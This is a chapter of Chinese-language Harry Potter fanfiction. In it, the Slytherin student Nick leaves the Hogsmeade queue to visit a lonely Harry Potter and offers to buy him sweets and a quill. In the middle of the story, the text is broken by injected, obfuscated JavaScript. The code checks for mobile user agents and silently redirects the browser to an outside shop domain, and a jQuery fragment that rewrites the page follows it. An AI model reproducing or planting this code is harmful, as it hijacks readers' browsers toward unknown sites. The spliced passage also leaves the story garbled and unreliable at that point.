十月的最后一周,霍格莫德日终于来了。

    科林在早餐桌上反复念叨着这件事,像是要把积攒了一个月的抱怨在同一顿早饭里全部倒出来。

    他把果酱涂到吐司上,放下刀,拿起南瓜汁喝了一口,然后又开始絮絮叨叨:“想想吧!去年这个时候,我们已经至少出去过两次了。十月初一次,十月中旬一次。现在呢?十月都快过完了,我们才第一次能去霍格莫德。这完全不合理——天气不好又不是我们的错——”

    “如果你觉得雨大,可以穿斗篷。如果你的斗篷挡不住雨,可以施防水咒。如果你不会施防水咒——”

    “我会!”科林的声音拔高了,“我会防水咒!老早就学会了!我只是——这不是重点——重点是天气,天气啊!它本来应该——”他挥舞着手臂,“——它本来应该是有落叶的、阳光斜斜的那种秋天的天气!和去年一样!”

    塞西莉亚翻了一页报纸,为这事盖棺定论:“也许你该写信给天气巫师。”

    “塞西——”

    “或者你是在和蛇怪依依不舍。你想念它吗?感谢它,让我们去年这时候可以多被赶去霍格莫德玩?”塞西莉亚翻了个标志性的白眼。

    尼克坐在科林旁边,听着他们在桌对面一来一回地拌嘴,但没有参与这段对话。他正把软哄哄的吐司折成一模一样的两半,注意力老早就飘远了。

    他脑子里正在转另一件事。

    霍格莫德。申请。签字。

    最开始,他想的只是那张琼安已经签好字、丹妮尔已经交上去了的许可表。

    然后他的思路从那张表上移开,滑向了一个他没有刻意安排的方向。

    哈利·波特。

    一个吹胀了自己姑妈然后坐着骑士巴士跑掉的男孩,是怎么可能从他姨妈姨夫那里拿到霍格莫德的许可表的?答案很简单。他绝对没拿到。所以,他现在应该在格兰芬多塔楼里一个人待着。

    尼克不觉得格兰杰和韦斯莱会为了所谓的友谊而放弃出去玩的机会。所以波特孤零零的模样简直是可以预见的。

    想到这里,尼克总算把吐司放进嘴里嚼了两下。

    但他不明白——自己为什么忽然在琢磨这件事?可这念头就像一枚滚进角落里的硬币,在已经注意到它的时候,就算挪开一万次视线,还是会下意识地望向它。

    非常、非常烦人。

    尼克拿起手头的杯子,皱着眉喝干了。

    他本来没有注意到自己正在愁眉苦脸,直到科林的声音从他侧面传过来:“尼克,你怎么了?你是不是也觉得今天的南瓜汁有一股糊味儿?”

    尼克抬起头。他的表情在科林说完那句话之后恢复了正常。

    他舔了舔嘴唇,没尝出什么太特别的味道。

    “不。只是在想今天需要买的东西。”

    科林的脸上浮现出将信将疑。但他也学聪明了,没有追问。

    早餐结束,门厅里挤满了人。

    那些穿戴着斗篷和围巾的学生们正在排队等待费尔奇逐一核对名字,洛丽丝夫人蹲在费尔奇脚边,保持着慵懒又烦人的模样。

    尼克站在人群里,灰色的眼睛扫过那些正在检查名单的级长。

    他看到了格兰杰——她正站在罗恩·韦斯莱旁边,两人都在厚实的冬季袍子里裹得严严实实。罗恩正在往围巾里缩脖子,像是已经被门厅里那阵灌进来的冷风吹得开始后悔出门了。赫敏站得和他并不靠近,两个人脸上都带着点儿不自然。

    果不其然。他们的身边没有那个黑色头发的身影。

    尼克当即转身,从侧面的小门退了出去。

    科林在身后叫他:“尼克?你去哪?就快要排到我们了——”

    “我需要出去一趟,”尼克跟他讲,“我们可以霍格莫德见。”

    科林的胖脸上浮现出明显的困惑:“什么?尼克?我们现在就要出发了——费尔奇在点名了——”

    “你们先去。”尼克没有解释更多。

    塞西莉亚站在科林旁边,看了尼克一眼。然后她伸手拉住了科林的手腕:“就随他去。”

    科林还想说什么,但塞西莉亚已经把他往队伍的方向拽了过去,并用科林厚实的肩膀撞开一个插队的人。

    -

    尼克离开那条正在涌向大门的队伍,转身朝楼梯方向走去。

    格兰芬多塔楼在城堡的另一个方向。由于去年对丹妮尔和金妮的蹲守,尼克知道走过去需要穿过几道走廊和一段向上的旋转楼梯。

    在经过那些正在结伴前往门厅的学生时,偶尔还会有其他学院的人侧过身给他让路。

    格兰芬多塔楼的入口比他预想的更安静。

    胖夫人正靠在画框边缘,眼睛闭着,发出一串细微的鼾声。她显然没有料到会有访客——毕竟,所有应该去霍格莫德的学生都已经离开了,而她大概以为自己可以在接下来的几个小时里安静地睡一觉。

    但传来了脚步声。

    尼克站住了。他侧过头,看到哈利·波特正出来。他穿着宽松的灰色毛衣,脚上踩着一双看起来深受磨损的靴子(估计是雨天专用),步子迈得很大。

    胖夫人也被这阵脚步声惊醒。她虽然打开了门,但声音里带着被从深睡中拽出来的恼火:“哦——是你——又是你——你到底还要来来回回几次?我刚睡着——”

    “我是想出去透透气。”哈利说。

    “随你的便!但别再打扰我睡觉!”

    哈利没有回嘴。他有点灰心地站在画框前面,观察着空荡荡的周围。然后,他似乎是终于下定了某种决心,异常坚定地转过身去,却看到了正站在拐角的尼克。

    尼克的嘴比他的脑子动得要快:“嘿。波特。”

    哈利的表情像是龙卷风一般变了个来回——从灰扑扑变成了亮堂堂。但它来得快去得也快——在他彻底认出站在面前的人究竟之后,那层光芒迅速回落成一种更让尼克感到熟悉的表情。

    “德米特里,”哈利抬手推了推眼镜,“我以为你们都已经——去霍格莫德了。”

    “本来是的,”尼克换个了站姿,“但我听丹妮尔说,你没有拿到许可表。”

    哈利的表情一片空白:“丹妮尔?我们这个学期没怎么说过话。”

    尼克听了,也跟着停顿了半秒:“那——可能是她听其他人说的。这不重要。”

    哈利的绿眼睛里写满了“真的不重要吗”这几个字。

    这双眼睛在走廊的烛光下显得比平时更深一些,但他本人并没有掉头走开。这或许证明哈利·波特对这场对话本身还是寄托着某种希望的。

    于是尼克继续说:“我——可以试着把你顺出去。感谢拓片,我对字体仿照还有点儿心得。应该能骗过费尔奇。”

    “呃,”哈利的嘴抿起来,似乎是想到了什么尴尬的东西,“麦格教授知道我没有许可表。如果我今天不在学校待着,后果可能会有点糟。”

    尼克沉默了会儿,倒也没坚持:“也是。”

    然后整个气氛就卡住了。

    尼克看着哈利,哈利也看着他。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707270|205993||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >尼克忽然想到了走廊尽头那扇通往霍格莫德方向的大门,又想到他面前这个、因为一张纸而无法出门的男孩。

    他现在就站在那扇门和哈利·波特中间的位置,意识到自己其实真的没想好接下来该怎么办——好吧,他完全不明白自己究竟为什么要上楼来找波特。

    这简直不可思议。蠢爆了。尼古拉斯·德米特里从来不做没把握没安排的事情。这怎么可能?

    他几乎是瞪着哈利的衣服领口看了好一会儿,才想到如何能让自己看起来不那么傻:“那——你有什么需要的东西吗?我可以送——不,帮你买回来。”

    他在“送”字出口之后迅速修正了它。

    他不知道格兰芬多的人会怎么看待一个斯莱特林主动说“送”这个字。

    他更不知道哈利会怎么看待。

    但他从金妮的教训里学会了一件事——把后面那半句话收回去能避免很多不必要的误会。

    自尊心嘛。

    哈利的表情又开始融化了:“你说真的?”

    尼克点头,走廊尽头的火光把他的脸镀上一层边:“对。你就当做是相册的答谢。你应该有想要的东西吧?我这就要走了。快说。”

    哈利张了张嘴。他的目光在尼克脸上停了好久好久——试想一下,一个斯莱特林站在格兰芬多塔楼门口说这些话?还是从尼古拉斯·德米特里的嘴里说出来的?

    或许这从逻辑上的礼尚往来中可以得到解答,但哈利从来不会把自己的脑子塞进三七二十一的算法里。

    哈利相当费劲地开口了:“呃——糖羽毛笔?”

    “好。”

    “还有滋滋蜜蜂糖?”

    “可以。”

    “还有——如果你能帮我带一支新的羽毛笔——我那个坏了。不,我是说,有点儿不好用。”哈利似乎是努力寻找措辞,“我记得,你妹妹的那个。嗯,看起来不错。所以——”

    尼克理解了。他朝哈利偏了偏头:“就这些?”

    “就这些。”哈利说。他的目光又在尼克脸上停了一下,这次应当是纯粹的感激。因为他还说,“谢谢。”

    尼克已经转身朝楼梯方向走去了。他在拐过第一道弯的时候微微侧过头,用余光确认哈利还站在门框里。然后他没有再停下来。

    他走出城堡大门时,冷风灌进了他的袍子领口。他系紧了围巾,朝通往霍格莫德的小路走去。

    糖羽毛笔、吱吱蜜蜂糖、一支新的羽毛笔——他在心里把那三样东西过了一遍,确认自己不会在货架前面忘记任何一样。

    尼克走进蜂蜜公爵时,科林恰好和塞西莉亚站在靠近收银台的货架旁边。

    科林怀里抱着三袋已经选好的糖果,看到尼克推门进来,他的眼睛闪闪发光:“尼克!你去哪儿了?我们等了你好久——你看起来像是被风吹了一路——”

    “临时想到一些事情,”尼克说,“耽搁了点儿时间。走吧,”他先把要买的糖选好,“三把扫帚的黄油啤酒应该还没有卖完。”

    科林走在最前面,他推门出去时带起一阵冷风,但他的体格帮后面的二人挡掉了不少。

    日落前,尼克也给哈利挑好了一套看起来就非常好用的羽毛笔。

    塞西莉亚走在尼克斜后方,目光在他手里的纸袋上晃了很久,最后还是没忍住开口了:“你这是……帮别人买的?”

    “对。”尼克说。

    “丹妮尔?”

    “不。另外的人。”

    “嚯。”塞西莉亚叹为观止,“真稀奇。”